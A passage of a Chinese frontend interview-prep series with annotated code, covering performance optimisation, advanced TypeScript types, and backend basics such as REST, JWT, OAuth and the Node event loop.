    timer = setTimeout(() => fn.apply(this, args), delay);
  };
}

// 节流（throttle）：每 n 秒最多执行一次（频率导向）
// 场景：scroll 滚动加载、mousemove、射击游戏
function throttle(fn, interval = 200) {
  let last = 0;
  return function (...args) {
    const now = Date.now();
    if (now - last >= interval) {
      last = now;
      fn.apply(this, args);
    }
  };
}

// 选择口诀：
// 只关心最终结果 → 防抖（搜索框）
// 需要持续响应但要限频 → 节流（滚动条）

内存与运行时

Q12: 前端内存泄漏的常见原因？如何排查？⭐⭐⭐ 🔥

// 常见原因：
// 1. 意外的全局变量
function leak() { data = 'huge string'; }  // 忘写 let/var → 挂到 window

// 2. 未清理的定时器
setInterval(() => { /* 引用了组件数据 */ }, 1000);  // 组件销毁未 clearInterval

// 3. 未解绑的事件监听
element.addEventListener('click', handler);  // 组件卸载未 removeEventListener

// 4. 闭包引用
function outer() {
  const huge = new Array(1e6).fill('x');
  return function inner() { /* 只用了 huge.length，但整个 huge 被引用 */ };
}

// 5. 游离 DOM（detached DOM）
// JS 变量还引用着已从文档移除的节点

// 6. console.log 引用对象（开发环境）

// 7. 第三方库实例未销毁（echarts 实例、地图实例）

排查流程（Chrome DevTools）：

1. Performance 面板：录制操作，看 JS Heap 是否只增不减（锯齿应该回落）
2. Memory 面板 → Heap Snapshot：
   - 操作前拍一次 → 操作后拍一次 → Comparison 视图对比
   - 按 Retained Size 排序，找 Detached / 可疑构造器
3. Allocation instrumentation on timeline：实时看内存分配，
   蓝色柱（存活）持续增长即泄漏点
4. 常见修复：
   - Vue：onUnmounted 里清理定时器/监听/实例
   - React：useEffect 返回清理函数
   - WeakMap/WeakSet 存"附属数据"，键被回收时自动释放

Q13: 如何优化包体积？⭐⭐ 🔥

分析工具先行：
- rollup-plugin-visualizer / webpack-bundle-analyzer
- 打包产物看：du -sh dist/_astro/* | sort -h

优化清单：
1. Tree Shaking：ESM 导入 + sideEffects: false
   （lodash → lodash-es，import { debounce } 而非 import _）
2. 按需引入组件库：Element Plus / Ant Design 自动按需插件
3. 大依赖替换：moment(300KB+) → dayjs(7KB)
   axios → fetch 封装；完整 echarts → 按需注册组件
4. 图片/字体：WebP、字体子集化（fontmin，中文字体必做）
5. Gzip/Brotli：构建时预压缩（vite-plugin-compression）
   或交给 Nginx 动态压缩
6. 代码分割 + 懒加载（见 Q5）
7. 检查重复依赖：npm ls lodash，多版本共存要 dedupe
8. 移除 sourcemap 生产配置或改为 hidden-source-map

量化表达（面试加分）：
"主包从 2.1MB 降到 480KB，首屏 JS 传输体积下降 77%"

监控与实战

Q14: 如何做线上性能监控（RUM）？⭐⭐⭐

// 自建监控的采集内容：
// 1. 指标采集：web-vitals 库 → LCP/INP/CLS/TTFB/FCP
// 2. 资源加载：PerformanceObserver 监听 resource，
//    采集慢资源（duration > 阈值）
// 3. 接口耗时：拦截 fetch/XHR 记录 duration 和状态码
// 4. 长任务：PerformanceObserver 监听 longtask（>50ms）
// 5. 错误：window.onerror + unhandledrejection

// 上报策略（关键，防止监控本身拖慢页面）：
// - navigator.sendBeacon：页面卸载也能发，不阻塞
// - 批量合并 + 节流上报（每 10s 或 20 条）
// - 采样率控制（大流量站点 10%）
// - requestIdleCallback 空闲时上报

window.addEventListener('beforeunload', () => {
  navigator.sendBeacon('/api/monitor', JSON.stringify(bufferedMetrics));
});

// 现成方案：Sentry（错误+性能）、阿里 ARMS、
// 腾讯 RUM、字节 volcengine APMPlus、开源 web-see

Q15: 讲一个你做过的性能优化案例？⭐⭐⭐ 🔥

答：这是必考开放题，用 STAR + 数据 结构回答：

模板：场景 → 问题定位 → 手段 → 量化结果 → 沉淀

示例回答（管理后台项目）：

【场景】中后台管理系统，用户反馈打开报表页要 6-7 秒白屏。

【定位】Lighthouse + bundle analyzer 分析：
1. 主包 3.2MB（echarts 全量引入 + moment）
2. 报表页串行等 4 个接口
3. 表格一次渲染 5000 行 DOM

【手段】
1. echarts 按需注册组件，moment → dayjs（体积 -1.4MB）
2. 路由级代码分割，报表页独立 chunk
3. 4 个接口合并为 BFF 聚合接口 + Promise.all 并行
4. 表格虚拟滚动（只渲染可视区 30 行）
5. 开启 Gzip + CDN + 接口数据 SWR 缓存

【结果】
- 首屏 LCP：6.8s → 1.9s（-72%）
- 主包体积：3.2MB → 780KB
- 报表页交互卡顿（INP）：600ms → 80ms

【沉淀】
- 把"分包配置 + 按需引入"沉淀为团队脚手架默认配置
- CI 加 bundlesize 检查，主包超 500KB 构建失败

Q16: SSR 为什么能提升首屏？有什么代价？⭐⭐⭐

CSR 首屏流程（两次请求才能看到内容）：
请求 HTML（空壳）→ 下载 JS → 执行 JS → 请求接口 → 渲染内容

SSR 首屏流程：
请求 HTML（服务端已渲染好内容）→ 直接显示 → hydration 绑定事件

优势：
1. FCP/LCP 快：HTML 到达即可见
2. SEO 友好：爬虫直接拿到完整内容
3. 弱网/低端设备体验好

代价：
1. 服务器压力大（每个请求都要渲染）
2. TTFB 可能变长（服务端渲染耗时）
3. hydration 成本：JS 加载后还有一次"注水"
4. 开发复杂度：数据获取、环境判断（window 不存在）

折中方案：
- SSG：构建时生成静态 HTML（博客、文档站）
- 增量静态再生（ISR）：静态 + 定时更新
- 流式 SSR：分块吐 HTML，边渲染边下发
- 岛屿架构（Astro）：静态为主，局部交互组件才加载 JS

复习卡片

[!TIP] 快速复习清单

Core Web Vitals：LCP < 2.5s、INP < 200ms、CLS < 0.1（INP 已取代 FID）

测量：web-vitals 库 + PerformanceObserver；Lab（Lighthouse）vs Field（RUM）

URL 到展示：DNS 预解析 → preconnect → CDN/缓存 → 分包 → 渲染

defer vs async：defer 顺序执行于解析后；async 下载完就执行

代码分割：路由懒加载 + manualChunks + 大库独立缓存

图片：WebP/AVIF、srcset、loading=lazy；LCP 图 preload + fetchpriority

白屏优化：CDN + Gzip + 缓存 + 懒加载 + SSR/SSG + 接口预请求

重排重绘：读写分离防布局抖动；transform/opacity 走合成层

长列表：虚拟列表，只渲染可视区 + buffer

防抖节流：结果导向用防抖，限频用节流

内存泄漏：定时器/监听/闭包/游离 DOM；Heap Snapshot 对比排查

包体积：Tree Shaking + 按需引入 + 大依赖替换 + 可视化分析

案例回答：STAR + 量化数据 + 沉淀，务必提前准备 1-2 个

[!TIP] 下一篇：手写代码题专篇涵盖防抖节流、深拷贝、Promise 系列、并发控制、发布订阅、数组扁平化等笔试必考题的逐行解析。

返回面试宝典总览 | 面试宝典合集页

TypeScript 进阶面试题（中高级必考）

Wed, 16 Sep 2026 08:00:00 GMT

[!NOTE] 本文包含 20+ 道 TypeScript 进阶面试题，中高级岗位 TS 考察比重越来越高，难度标注：⭐ 基础 · ⭐⭐ 进阶 · ⭐⭐⭐ 高级 · 🔥 高频必考

类型基础

Q1: interface 和 type 的区别？⭐ 🔥

答：

维度	interface	type
声明合并	✅ 同名自动合并	❌ 重复定义报错
extends / 交叉	`extends` 继承	`&` 交叉类型
联合/元组/基础类型别名	❌	✅
映射类型	❌	✅
性能	类型检查更快（名字可缓存）	复杂计算类型稍慢
报错信息	更友好（显示接口名）	有时展开为内联结构

// interface 声明合并（适合扩展第三方库类型）
interface User { name: string }
interface User { age: number }
// 合并为 { name: string; age: number }

// type 独有：联合、元组、条件类型
type Status = 'pending' | 'done';        // 联合
type Pair = [string, number];            // 元组
type NonNull<T> = T extends null ? never : T;  // 条件类型

// 实践建议：
// 对象/类的形状 → interface（可合并、可 implements）
// 联合、元组、工具类型、类型运算 → type

Q2: any、unknown、never 的区别？⭐ 🔥

// any：放弃类型检查，可以赋值给任何类型、做任何操作
let a: any = 'str';
a.foo.bar();  // 编译通过，运行时爆炸

// unknown：类型安全的 any，赋值随意，使用前必须收窄
let u: unknown = JSON.parse(str);
u.toFixed();           // ❌ 编译报错
if (typeof u === 'number') u.toFixed();  // ✅ 收窄后可用

// never：不可能存在的值，是所有类型的子类型
// 三大来源：
// 1. 抛异常的函数
function fail(msg: string): never { throw new Error(msg); }
// 2. 无限循环
function loop(): never { while (true) {} }
// 3. 穷尽检查（最高频用法）
type Shape = 'circle' | 'square';
function area(s: Shape) {
  switch (s) {
    case 'circle': return 1;
    case 'square': return 2;
    default:
      // 如果 Shape 新增了 'triangle' 而这里没处理，
      // s 会是 'triangle'，无法赋给 never → 编译报错，提醒补全
      const _exhaustive: never = s;
      return _exhaustive;
  }
}

Q3: 什么是类型收窄（Narrowing）？有哪些方式？⭐⭐ 🔥

// 1. typeof —— 基础类型
function f(x: string | number) {
  if (typeof x === 'string') x.toUpperCase();  // x 收窄为 string
}

// 2. instanceof —— 类实例
if (err instanceof Error) console.log(err.message);

// 3. in —— 属性存在性
interface Dog { bark(): void }
interface Cat { meow(): void }
function speak(pet: Dog | Cat) {
  if ('bark' in pet) pet.bark();
}

// 4. 字面量类型判别（可辨识联合，最常用）
type Res = { code: 0; data: string } | { code: -1; msg: string };
function handle(r: Res) {
  if (r.code === 0) r.data;  // 通过判别属性收窄
  else r.msg;
}

// 5. 自定义类型守卫（is 谓词）
function isString(v: unknown): v is string {
  return typeof v === 'string';
}

// 6. 断言函数（asserts）
function assertDefined<T>(v: T | undefined): asserts v is T {
  if (v === undefined) throw new Error('undefined');
}

// 7. 真值收窄 / == null / 可选链
if (user?.name) { /* user 非空 */ }

泛型

Q4: 泛型是什么？解决什么问题？⭐ 🔥

// 没有泛型：要么丢失类型（any），要么为每种类型写一遍
function identity(arg: any): any { return arg; }  // 返回值类型丢失

// 泛型：类型参数化，调用时才确定类型
function identity<T>(arg: T): T { return arg; }
const s = identity('hello');   // T 推断为 string，s: string
const n = identity<number>(1); // 显式指定

// 泛型接口 / 泛型类
interface ApiResponse<T> {
  code: number;
  data: T;
  message: string;
}
type UserRes = ApiResponse<{ id: number; name: string }>;

// 泛型约束（extends）：限制 T 必须具备某些属性
function getLength<T extends { length: number }>(arg: T): number {
  return arg.length;
}
getLength('str');      // ✅ string 有 length
getLength([1, 2]);     // ✅ 数组有 length
getLength(123);        // ❌ number 没有 length

// 默认泛型参数
function createArr<T = string>(len: number, val: T): T[] {
  return Array(len).fill(val);
}

Q5: 泛型的 extends 有哪几种含义？⭐⭐

// 1. 约束：T 必须满足某形状
function fn<T extends { id: number }>(arg: T) {}

// 2. 继承接口
interface Admin extends User { role: string }

// 3. 条件类型中的判断（类型层面的三元表达式）
type IsString<T> = T extends string ? true : false;
type A = IsString<'x'>;    // true
type B = IsString<1>;      // false

条件类型与 infer

Q6: 条件类型的分布式特性？⭐⭐⭐ 🔥

// 当条件类型作用于联合类型时，会分发到每个成员分别计算
type ToArray<T> = T extends any ? T[] : never;

type R = ToArray<string | number>;
// 分布式：ToArray<string> | ToArray<number> = string[] | number[]
// 而不是 (string | number)[]

// 如何关闭分布式？用元组包一层
type ToArrayNoDist<T> = [T] extends [any] ? T[] : never;
type R2 = ToArrayNoDist<string | number>;  // (string | number)[]

// 经典应用：Exclude 就是靠分布式实现的
type MyExclude<T, U> = T extends U ? never : T;
type E = MyExclude<'a' | 'b' | 'c', 'a'>;
// 'a' extends 'a' → never
// 'b' extends 'a' → 'b'
// 'c' extends 'a' → 'c'
// never | 'b' | 'c' = 'b' | 'c'（never 在联合中消失）

Q7: infer 关键字的作用？⭐⭐⭐ 🔥

// infer：在条件类型中声明一个待推断的类型变量
// 相当于类型层面的"解构赋值"

// 提取函数返回值类型（ReturnType 的实现）
type MyReturnType<T> = T extends (...args: any[]) => infer R ? R : never;
type R1 = MyReturnType<() => string>;  // string

// 提取 Promise 的值类型
type UnwrapPromise<T> = T extends Promise<infer U> ? UnwrapPromise<U> : T;
type P = UnwrapPromise<Promise<Promise<number>>>;  // number（递归解包）

// 提取数组元素类型
type ElementOf<T> = T extends (infer E)[] ? E : never;
type E = ElementOf<string[]>;  // string

// 提取第一个元素
type First<T extends any[]> = T extends [infer F, ...any[]] ? F : never;
type F = First<[1, 2, 3]>;  // 1

// 提取构造函数实例类型（InstanceType 的实现）
type MyInstance<T> = T extends new (...args: any[]) => infer I ? I : never;

映射类型与 keyof

Q8: keyof 和 typeof 的用法？⭐ 🔥

// keyof：取对象类型的所有键，组成联合类型
interface User { id: number; name: string; age: number }
type UserKey = keyof User;  // 'id' | 'name' | 'age'

// 高频场景：类型安全的属性访问
function getProp<T, K extends keyof T>(obj: T, key: K): T[K] {
  return obj[key];
}
const user: User = { id: 1, name: 'Tom', age: 20 };
getProp(user, 'name');  // 返回类型精确推断为 string
getProp(user, 'xxx');   // ❌ 编译报错，key 不在 User 中

// typeof：从"值"反推"类型"（JS 对象 → TS 类型）
const config = { host: 'localhost', port: 8080 } as const;
type Config = typeof config;  // { readonly host: "localhost"; readonly port: 8080 }
type ConfigKey = keyof typeof config;  // 'host' | 'port'

// 组合技：常量数组 → 联合类型
const ROLES = ['admin', 'user', 'guest'] as const;
type Role = typeof ROLES[number];  // 'admin' | 'user' | 'guest'

Q9: 映射类型是什么？修饰符怎么用？⭐⭐⭐

// 映射类型：遍历键集合批量生成新类型
type MyPartial<T> = {
  [K in keyof T]?: T[K];       // in 遍历，? 添加可选修饰
};

// 修饰符的添加与移除：+ / -
type Mutable<T> = { -readonly [K in keyof T]: T[K] };   // 移除 readonly
type Freeze<T>  = { +readonly [K in keyof T]: T[K] };   // 添加 readonly
type Required2<T> = { [K in keyof T]-?: T[K] };          // 移除可选

// as 子句（TS 4.1+）：重映射键
// 1. 过滤键
type OnlyString<T> = {
  [K in keyof T as T[K] extends string ? K : never]: T[K];
};
// 2. 生成 getter 类型
type Getters<T> = {
  [K in keyof T as `get${Capitalize<string & K>}`]: () => T[K];
};
interface Person { name: string; age: number }
type PersonGetters = Getters<Person>;
// { getName: () => string; getAge: () => number }

Q10: 手写常见内置工具类型？⭐⭐⭐ 🔥

// Partial：所有属性变可选
type MyPartial<T> = { [K in keyof T]?: T[K] };

// Required：所有属性变必选
type MyRequired<T> = { [K in keyof T]-?: T[K] };

// Readonly
type MyReadonly<T> = { readonly [K in keyof T]: T[K] };

// Pick：挑选属性
type MyPick<T, K extends keyof T> = { [P in K]: T[P] };

// Omit：排除属性（Pick + Exclude 组合）
type MyOmit<T, K extends keyof T> = MyPick<T, MyExclude<keyof T, K>>;
// 官方实现：Pick<T, Exclude<keyof T, K>>

// Exclude / Extract
type MyExclude<T, U> = T extends U ? never : T;
type MyExtract<T, U> = T extends U ? T : never;

// NonNullable：排除 null 和 undefined
type MyNonNullable<T> = T extends null | undefined ? never : T;

// Record：构造键值对类型
type MyRecord<K extends keyof any, V> = { [P in K]: V };
type Dict = MyRecord<string, number>;  // { [x: string]: number }

// ReturnType / Parameters
type MyReturnType<T> = T extends (...args: any[]) => infer R ? R : never;
type MyParameters<T> = T extends (...args: infer P) => any ? P : never;

实战场景

Q11: 如何给后端接口返回值做类型定义？⭐⭐

// 1. 统一响应包装（泛型）
interface ApiResult<T> {
  code: number;
  message: string;
  data: T;
}

// 2. 列表分页响应
interface PageResult<T> {
  list: T[];
  total: number;
  pageNum: number;
  pageSize: number;
}

// 3. 实体类型集中管理
interface UserVO {
  id: number;
  username: string;
  status: UserStatus;
  createTime: string;
}

// 枚举用字面量联合 + as const（比 enum 更轻量，tree-shaking 友好）
const UserStatus = { NORMAL: '0', DISABLED: '1' } as const;
type UserStatus = typeof UserStatus[keyof typeof UserStatus];

// 4. 请求函数泛型化，全链路类型推断
async function request<T>(url: string, config?: RequestInit): Promise<ApiResult<T>> {
  const res = await fetch(url, config);
  return res.json();
}
// 调用处 data 自动推断为 PageResult<UserVO>
const { data } = await request<PageResult<UserVO>>('/api/users');
data.list.forEach(u => u.username);  // ✅ 全程有提示

Q12: declare、.d.ts、模块声明怎么用？⭐⭐

// declare：告诉 TS "这个东西在别处已存在"，只声明不实现
declare const __VERSION__: string;      // 构建工具注入的全局变量
declare function ga(cmd: string): void; // 第三方脚本挂载的全局函数

// .d.ts 文件：纯类型声明，不产生运行时代码
// global.d.ts —— 扩展全局类型
interface Window {
  __APP_CONFIG__: { apiBase: string };
}
// 之后 window.__APP_CONFIG__ 有类型提示

// 为无类型的 npm 包补声明
declare module 'some-untyped-lib' {
  export function doSomething(input: string): number;
}

// 静态资源模块声明（Vite 项目常见）
declare module '*.svg' {
  const content: string;
  export default content;
}

// 扩展第三方库类型（模块扩充）
// 例如给 vue-router 的 meta 加类型
declare module 'vue-router' {
  interface RouteMeta {
    requiresAuth?: boolean;
    roles?: string[];
  }
}

Q13: as const 和 satisfies 的作用？⭐⭐⭐

// as const：深度只读 + 字面量类型收窄
const arr1 = ['a', 'b'];            // string[]
const arr2 = ['a', 'b'] as const;   // readonly ['a', 'b']
const obj = { type: 'click' } as const;  // { readonly type: "click" }
// 没有 as const 时 type 会被 widen 成 string

// satisfies（TS 4.9+）：既要满足约束，又保留精确类型
type ColorMap = Record<string, string | [number, number, number]>;

const colors = {
  red: [255, 0, 0],
  green: '#00ff00',
} satisfies ColorMap;
// colors.red 类型是 [number, number, number]（精确保留）
colors.red[0];        // ✅ 能访问元组下标
// 如果写成 : ColorMap，red 会被放宽为 string | [number,number,number]，
// 访问 red[0] 报错

// 总结：
// as const  → 收窄为字面量/只读
// satisfies → 校验类型但不丢失精度（常与 as const 连用）

Q14: 协变与逆变是什么？⭐⭐⭐

// 协变（covariance）：子类型可以赋给父类型（数组、返回值）
class Animal { name = '' }
class Dog extends Animal { bark() {} }

let animals: Animal[] = [];
let dogs: Dog[] = [];
animals = dogs;   // ✅ Dog[] 赋给 Animal[]（协变）

// 逆变（contravariance）：函数参数方向相反
type Handler<T> = (arg: T) => void;
let hAnimal: Handler<Animal> = a => console.log(a.name);
let hDog: Handler<Dog> = d => d.bark();
hDog = hAnimal;   // ✅ 处理 Animal 的函数可以处理 Dog（逆变）
// 直觉：能处理"更宽"参数的函数，用在"更窄"参数位置是安全的

// 双向协变（bivariance）：方法写法的参数默认双向协变（不严格）
// strictFunctionTypes 开启后，函数写法的参数才是严格逆变

// 面试一句话总结：
// 属性/返回值 → 协变；函数参数 → 逆变（strict 模式下）

Q15: TS 编译过程？tsc 做了哪些事？⭐⭐

TypeScript 编译流程：

.ts 源码
   ↓ 解析（Parser）
AST 抽象语法树
   ↓ 绑定（Binder）→ Symbol 符号表
   ↓ 类型检查（Checker）← 核心！tsc 的主要价值
   ↓ 发射（Emitter）
.js + .d.ts + .map

关键点：
1. tsc = 类型检查 + 转译降级（target 转换）
2. Vite/esbuild/SWC 只转译不检查（快 20-100 倍），
   类型检查交给 IDE 和 CI 里的 vue-tsc / tsc --noEmit
3. isolatedModules：每个文件独立编译，
   因此不能用 const enum、命名空间合并等跨文件特性
4. 类型信息在编译后完全擦除（type erasure），
   运行时不存在任何类型，无法用类型做运行时校验
   → 外部数据（接口返回）需要 zod / valibot 等运行时校验

Q16: tsconfig 中最重要的配置项？⭐⭐ 🔥

{
  "compilerOptions": {
    // 严格性（新项目直接开 strict，包含下面所有）
    "strict": true,
    "noImplicitAny": true,        // 禁止隐式 any
    "strictNullChecks": true,     // null/undefined 必须显式处理
    "strictFunctionTypes": true,  // 函数参数逆变检查

    // 模块与目标
    "target": "ES2020",           // 编译产物的 JS 版本
    "module": "ESNext",           // 模块系统
    "moduleResolution": "bundler",// Vite/webpack 项目推荐

    // 互操作
    "esModuleInterop": true,      // 允许 import x from 'cjs-module'
    "allowSyntheticDefaultImports": true,
    "resolveJsonModule": true,    // 允许 import json

    // 路径别名（与 Vite resolve.alias 保持一致）
    "baseUrl": ".",
    "paths": { "@/*": ["src/*"] },

    // 产物
    "sourceMap": true,
    "declaration": true,          // 生成 .d.ts（发 npm 包必须）
    "skipLibCheck": true          // 跳过 node_modules 类型检查（提速）
  },
  "include": ["src/**/*"],
  "exclude": ["node_modules", "dist"]
}

类型体操常见题

Q17: 手写常见类型体操题？⭐⭐⭐ 🔥

// 1. 元组转联合
type TupleToUnion<T extends any[]> = T[number];
type U = TupleToUnion<['a', 'b', 'c']>;  // 'a' | 'b' | 'c'

// 2. 联合转交叉（高频难题）
type UnionToIntersection<T> =
  (T extends any ? (arg: T) => void : never) extends
  (arg: infer I) => void ? I : never;
// 原理：联合分发成多个函数类型，再利用函数参数逆变推断出交叉
type I = UnionToIntersection<{ a: 1 } | { b: 2 }>;  // { a: 1 } & { b: 2 }

// 3. 字符串模板解析（CamelCase → KebabCase）
type CamelToKebab<S extends string> =
  S extends `${infer H}${infer T}`
    ? H extends Uppercase<H>
      ? `${H extends Lowercase<H> ? '' : '-'}${Lowercase<H>}${CamelToKebab<T>}`
      : `${H}${CamelToKebab<T>}`
    : S;
type K = CamelToKebab<'helloWorldFoo'>;  // 'hello-world-foo'

// 4. Awaited（TS 4.5 内置，递归解包 Promise）
type A = Awaited<Promise<Promise<string>>>;  // string

// 5. 数组转对象（元组 [keys, values] 映射）
type Zip<K extends string[], V extends any[]> =
  K extends [infer KH extends string, ...infer KR]
    ? V extends [infer VH, ...infer VR]
      ? { [P in KH]: VH } & Zip<KR, VR>
      : {}
    : {};

// 6. DeepReadonly（递归只读）
type DeepReadonly<T> = {
  readonly [K in keyof T]: T[K] extends object ? DeepReadonly<T[K]> : T[K];
};

// 7. DeepPartial（递归可选）
type DeepPartial<T> = {
  [K in keyof T]?: T[K] extends object ? DeepPartial<T[K]> : T[K];
};

// 学习建议：type-challenges 仓库刷 easy 全部 + medium 前 30 题，
// 面试手写基本覆盖（联合转交叉、DeepReadonly、字符串模板是重点）

Q18: 项目中如何做 TS 渐进式迁移（JS → TS）？⭐⭐

大型 JS 项目迁移 TS 的务实策略：

1. 先搭架子：allowJs: true，让 .js/.ts 共存
2. 从底向上：类型声明（api/types）→ 工具函数 → 组件 → 页面
3. 分级严格：先关 strict，跑通构建，再逐目录开启
4. 双工具链：Vite 用 esbuild 转译（不检查），
   CI 加 tsc --noEmit 兜底全量检查
5. 存量代码：@ts-expect-error + TODO 注释标记，
   禁止新增 @ts-ignore（它会永久吞掉错误）
6. 第三方无类型包：先 declare module 兜底，
   再逐步补全或换有类型的替代包

关键指标：any 占比。用 eslint 规则
@typescript-eslint/no-explicit-any 设为 warn 统计，
新代码 error、旧代码 warn，逐步收敛。

复习卡片

[!TIP] 快速复习清单

interface vs type：声明合并 vs 联合/元组/映射

any vs unknown vs never：不安全 / 安全收窄 / 穷尽检查

类型收窄七法：typeof、instanceof、in、判别联合、is 守卫、asserts、真值

分布式条件类型：联合类型逐个计算，[T] extends [U] 可关闭

infer：类型层面的解构，ReturnType/UnwrapPromise 核心

keyof + 泛型约束：<T, K extends keyof T> 类型安全取属性

内置工具类型手写：Partial/Pick/Omit/Exclude/Record 必须秒写

as const vs satisfies：收窄字面量 vs 校验不丢精度

协变逆变：返回值协变、参数逆变（strictFunctionTypes）

编译流程：tsc 检查+发射；Vite 只转译；类型运行时擦除

高频体操题：UnionToIntersection、DeepReadonly、CamelToKebab

渐进迁移：allowJs 共存 → 自底向上 → any 占比收敛

[!TIP] 下一篇：性能优化面试题涵盖核心指标（LCP/INP/CLS）、加载性能、渲染性能、内存泄漏排查、优化实战案例。

返回面试宝典总览 | 面试宝典合集页

后端知识面试题（前端工程师需要了解的部分）

Wed, 16 Sep 2026 07:00:00 GMT

[!NOTE] 本文包含 20+ 道后端知识面试题，面向中高级前端工程师（全栈方向加分项），难度标注：⭐ 基础 · ⭐⭐ 进阶 · ⭐⭐⭐ 高级 · 🔥 高频必考

RESTful API 设计

Q1: 什么是 RESTful API？设计原则？⭐ 🔥

答：

REST（Representational State Transfer）是一种 API 设计风格，核心思想是用 URL 表示资源，用 HTTP 方法表示操作。

原则	说明
资源导向	URL 是名词（资源），不是动词
HTTP 方法语义化	GET 查、POST 增、PUT/PATCH 改、DELETE 删
无状态	每个请求携带全部信息（如 Token）
统一接口	一致的 URL 风格和响应格式
合理使用状态码	用 HTTP 状态码表达结果

❌ 不好的设计：
GET  /api/getUserList
POST /api/deleteUser?id=1
GET  /api/user/query?id=1

✅ RESTful 设计：
GET    /api/users          # 获取用户列表
GET    /api/users/1        # 获取单个用户
POST   /api/users          # 创建用户
PUT    /api/users/1        # 全量更新用户
PATCH  /api/users/1        # 部分更新用户
DELETE /api/users/1        # 删除用户
GET    /api/users/1/orders # 获取用户的订单（嵌套资源）

统一响应格式：

{
  "code": 200,
  "message": "success",
  "data": {
    "id": 1,
    "name": "Tom"
  }
}

分页、过滤、排序（查询参数）：

GET /api/users?page=1&pageSize=10        # 分页
GET /api/users?status=active             # 过滤
GET /api/users?sort=-createdAt,name      # 排序（- 表示降序）
GET /api/users?fields=id,name,email      # 字段筛选

Q2: PUT 和 PATCH 的区别？⭐

方法	语义	幂等	示例
PUT	全量更新（替换整个资源）	✅	传完整对象，未传的字段可能被置空
PATCH	部分更新（只改传入字段）	❌（理论）	只传要修改的字段

// PUT /users/1  —— 全量替换
{ "name": "Tom", "age": 20, "email": "tom@x.com" }

// PATCH /users/1  —— 只更新 name
{ "name": "Tom" }

Q3: 常见 HTTP 状态码如何正确返回？⭐⭐

场景	状态码
查询/创建/更新成功	200 / 201（Created）
删除成功（无返回体）	204 No Content
参数校验失败	400 Bad Request
未登录/Token 失效	401 Unauthorized
已登录但无权限	403 Forbidden
资源不存在	404 Not Found
方法不允许	405 Method Not Allowed
请求冲突（重复创建）	409 Conflict
请求过于频繁	429 Too Many Requests
服务端异常	500 Internal Server Error
网关错误（后端挂了）	502 / 504

// 401 vs 403 是高频追问点
// 401：你是谁？（未认证）→ 前端应跳转登录页
// 403：我知道你是谁，但你不能这么做（未授权）→ 前端应提示无权限

// axios 拦截器典型处理
axios.interceptors.response.use(
  res => res,
  err => {
    const status = err.response?.status;
    if (status === 401) {
      // token 过期，清除登录态并跳转
      clearAuth();
      router.push('/login');
    } else if (status === 403) {
      message.error('无权限访问');
    }
    return Promise.reject(err);
  }
);

认证与鉴权

Q4: Cookie/Session 与 Token(JWT) 认证的区别？⭐⭐ 🔥

答：

维度	Cookie + Session	JWT Token
状态	有状态（服务端存 Session）	无状态（服务端不存）
存储位置	服务端内存/Redis + 浏览器 Cookie	客户端（localStorage / Cookie）
跨域	受同源策略限制（需 SameSite 配置）	灵活（放 Header 即可）
水平扩展	需 Session 共享（Redis/Sticky）	天然支持
注销/失效	删除 Session 即失效	难（需黑名单机制）
移动端支持	弱	强
安全风险	CSRF	XSS（Token 被盗）

JWT 结构与原理：

JWT = Header.Payload.Signature

Header:    { "alg": "HS256", "typ": "JWT" }        → Base64URL 编码
Payload:   { "userId": 1, "exp": 1735689600 }      → Base64URL 编码
Signature: HMACSHA256(header + "." + payload, 密钥)

验证流程：
1. 服务端用密钥重新计算签名
2. 与 Token 中的签名比对 → 防篡改
3. 检查 exp 是否过期

注意：Payload 只是 Base64 编码，不是加密！
不要放密码等敏感信息。

// 前端典型用法
// 登录后存储 token
localStorage.setItem('token', res.data.token);

// 请求时携带
axios.interceptors.request.use(config => {
  const token = localStorage.getItem('token');
  if (token) config.headers.Authorization = `Bearer ${token}`;
  return config;
});

Q5: 什么是 OAuth 2.0？常见授权模式？⭐⭐⭐

OAuth 2.0 角色：
- Resource Owner：用户
- Client：第三方应用
- Authorization Server：授权服务器
- Resource Server：资源服务器

四种授权模式：
┌──────────────────┬────────────────────────────────┐
│ 授权码模式        │ 最常用最安全（网站第三方登录）  │
│ (Authorization   │ 流程：跳转授权页 → 用户同意 →   │
│  Code)           │ 回调返回 code → 用 code 换 token│
├──────────────────┼────────────────────────────────┤
│ 简化模式          │ 已废弃（token 暴露在 URL）      │
│ (Implicit)       │                                │
├──────────────────┼────────────────────────────────┤
│ 密码模式          │ 高度信任的第一方应用            │
│ (Password)       │ 直接传用户名密码换 token        │
├──────────────────┼────────────────────────────────┤
│ 客户端模式        │ 服务间调用（无用户参与）        │
│ (Client          │                                │
│  Credentials)    │                                │
└──────────────────┴────────────────────────────────┘

授权码模式为什么安全？
- code 通过前端信道（浏览器重定向）传递，一次性且短时效
- token 通过后端信道（服务器间通信）换取，不暴露给浏览器
- 配合 PKCE 可防授权码拦截攻击

Q6: RBAC 权限模型？⭐⭐

RBAC（Role-Based Access Control）基于角色的访问控制：

用户 ←→ 角色 ←→ 权限

用户不直接拥有权限，而是通过角色间接获得。
一个用户可有多个角色，一个角色可有多个权限。

表设计：
sys_user（用户表）
sys_role（角色表）
sys_menu/permission（权限表）
sys_user_role（用户-角色关联表）
sys_role_menu（角色-权限关联表）

前端配合：
1. 登录后获取用户角色和权限标识列表
2. 路由守卫：根据权限动态生成可访问路由
3. 按钮级权限：v-permission 指令控制显示

Node.js

Q7: Node.js 的事件循环与浏览器有何区别？⭐⭐ 🔥

答：

Node.js 事件循环（libuv）分阶段：

   ┌───────────────────────────┐
┌─>│           timers          │  setTimeout/setInterval
│  ├───────────────────────────┤
│  │     pending callbacks     │  系统级回调（如 TCP 错误）
│  ├───────────────────────────┤
│  │       idle, prepare       │  内部使用
│  ├───────────────────────────┤
│  │           poll            │  I/O 回调（文件、网络）
│  ├───────────────────────────┤
│  │           check           │  setImmediate
│  ├───────────────────────────┤
│  │      close callbacks      │  socket.on('close')
│  └───────────────────────────┘

与浏览器的差异：
1. 浏览器：微任务队列在每次宏任务后清空
2. Node 11 前：微任务在每【阶段】结束后清空
   Node 11+：与浏览器对齐，每个宏任务后清空微任务
3. Node 独有：setImmediate（check 阶段）vs setTimeout（timers 阶段）

// Node.js 经典输出题
setTimeout(() => console.log('timeout'), 0);
setImmediate(() => console.log('immediate'));
// 输出顺序不确定（主模块中），但在 I/O 回调中 immediate 总是先执行

// process.nextTick 优先级高于 Promise.then
Promise.resolve().then(() => console.log('promise'));
process.nextTick(() => console.log('nextTick'));
// 输出：nextTick → promise

Q8: Node.js 如何处理 CPU 密集型任务？⭐⭐⭐

// Node.js 单线程，CPU 密集任务会阻塞事件循环
// 解决方案：

